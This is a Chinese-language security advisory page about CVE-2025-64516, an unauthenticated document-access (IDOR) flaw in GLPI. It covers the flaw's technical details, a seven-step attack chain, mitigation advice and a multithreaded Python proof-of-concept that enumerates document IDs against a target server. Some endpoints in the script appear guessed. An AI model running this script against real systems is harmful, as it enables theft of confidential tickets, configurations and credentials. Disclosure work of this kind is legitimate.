IPBUF安全漏洞报告
English
CVE-2025-64516 CVSS 7.5 高危

CVE-2025-64516: GLPI未授权访问任意文档漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-64516
漏洞类型
未授权访问(IDOR)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GLPI

相关标签

未授权访问IDORGLPI资产管理系统IT管理高危漏洞网络攻击无需认证

漏洞概述

GLPI是一款免费的开源资产和IT管理软件,广泛用于企业的服务台管理、资产追踪和库存管理。该软件支持文档附件功能,用户可以为工单、资产、设备等各类项目上传和附加文档。

在10.0.21和11.0.3之前的版本中,存在一个严重的安全漏洞,允许未授权用户访问附加到任意项目(工单、资产等)的GLPI文档。该漏洞属于IDOR(不安全的直接对象引用)类型,攻击者可以通过猜测或枚举文档ID来访问本应受保护的附件内容,而无需任何认证。

更具威胁的是,如果目标GLPI系统启用了公共FAQ功能,匿名用户也可以利用此漏洞访问敏感文档。这意味着任何人都可以在不需要登录的情况下,获取包含敏感信息的工单附件或资产文档。攻击者可能利用获取的文档内容进行进一步的攻击,如社会工程、凭据收集或横向移动。

该漏洞已被GitHub安全团队发现并报告,编号为GHSA-487h-7mxm-7r46。漏洞的CVSS评分为7.5,属于高危级别,主要影响机密性。

技术细节

该漏洞的根本原因在于GLPI在处理文档访问请求时,未正确验证当前用户是否有权访问目标文档。当用户请求访问某个文档时,系统仅根据文档ID进行直接对象引用,而没有进行充分的权限检查。

攻击者可以通过以下方式利用此漏洞:

1. **文档ID枚举**:攻击者构造形如 /front/document.send.php?docid=X 或类似接口的请求,其中X是目标文档的ID号。由于系统未验证用户身份和权限,任何人都可以提交此类请求。

2. **ID遍历攻击**:通过自动化脚本遍历可能的文档ID范围(通常是数值型递增ID),攻击者可以批量下载系统中的敏感文档,包括但不限于:
- 工单中的附件(可能包含密码、系统配置、错误日志)
- 资产相关的文档(网络拓扑、IP配置、密码凭证)
- 用户上传的敏感文件

3. **匿名访问**:当公共FAQ功能启用时,系统允许匿名访问部分功能。攻击者可以利用这一配置,无需任何凭据即可发起攻击,增加了漏洞的利用面。

漏洞修复通过以下commit实现:
- commit 51412a89d3174cfe22967b051d527febdbceab3c
- commit ee7ee28e0645198311c0a9e0c4e4b712b8788e27

修复方案在文档访问逻辑中加入了严格的权限验证,确保只有具有相应权限的用户才能访问文档内容。

攻击链分析

STEP 1
步骤1
信息收集:攻击者确认目标网站运行GLPI系统,检查版本号是否低于10.0.21或11.0.3
STEP 2
步骤2
确认配置:检查公共FAQ功能是否启用(可通过访问/public/faq.php端点验证)
STEP 3
步骤3
构造请求:攻击者构造针对文档访问端点的HTTP请求,使用猜测或枚举的文档ID
STEP 4
步骤4
发送请求:在未进行任何认证的情况下,向目标GLPI服务器发送请求
STEP 5
步骤5
验证响应:检查HTTP响应,如果返回文件内容(非登录页面),则说明存在未授权访问漏洞
STEP 6
步骤6
批量利用:使用自动化脚本(如Python脚本)遍历大量文档ID,批量下载敏感文档
STEP 7
步骤7
数据窃取:分析获取的文档内容,提取敏感信息(密码、配置、拓扑图等)用于进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64516 PoC - GLPI Unauthenticated Document Access # This PoC demonstrates IDOR vulnerability in GLPI document access import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def check_glpi_version(url): """Check if target is running vulnerable GLPI version""" try: response = requests.get(url + '/', timeout=10) if 'GLPI' in response.text: return True except: pass return False def download_document(base_url, doc_id): """Attempt to download document by ID without authentication""" # Common GLPI document endpoints endpoints = [ f'{base_url}/front/document.send.php?docid={doc_id}', f'{base_url}/ajax/getFile.php?docid={doc_id}', f'{base_url}/files/_dumps/{doc_id}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10, allow_redirects=True) # Check if we got actual file content (not login page) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'text/html' not in content_type and len(response.content) > 0: print(f'[+] SUCCESS: Downloaded document ID {doc_id}') print(f' Endpoint: {endpoint}') print(f' Size: {len(response.content)} bytes') print(f' Content-Type: {content_type}') return True except Exception as e: continue return False def exploit(target_url, start_id=1, end_id=1000, threads=10): """Main exploitation function""" print(f'[*] Target: {target_url}') print(f'[*] Scanning document IDs from {start_id} to {end_id}') print(f'[*] Using {threads} threads') print('-' * 60) with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(download_document, target_url, doc_id): doc_id for doc_id in range(start_id, end_id + 1)} for future in as_completed(futures): try: result = future.result() except Exception as e: pass if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-64516.py <target_url> [start_id] [end_id]') print('Example: python cve-2025-64516.py http://target.com/glpi 1 1000') sys.exit(1) target = sys.argv[1].rstrip('/') start = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end = int(sys.argv[3]) if len(sys.argv) > 3 else 1000 exploit(target, start, end)

影响范围

GLPI < 10.0.21
GLPI < 11.0.3

防御指南

临时缓解措施
作为临时缓解措施,可以采取以下行动:1) 禁用公共FAQ功能以降低攻击面;2) 配置Web服务器限制对文档访问端点的访问频率;3) 实施IP白名单或VPN访问控制;4) 启用详细的访问日志并设置异常访问告警;5) 考虑临时关闭文档附件功能。但最有效的缓解措施仍是尽快升级到官方发布的安全版本10.0.21或11.0.3。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表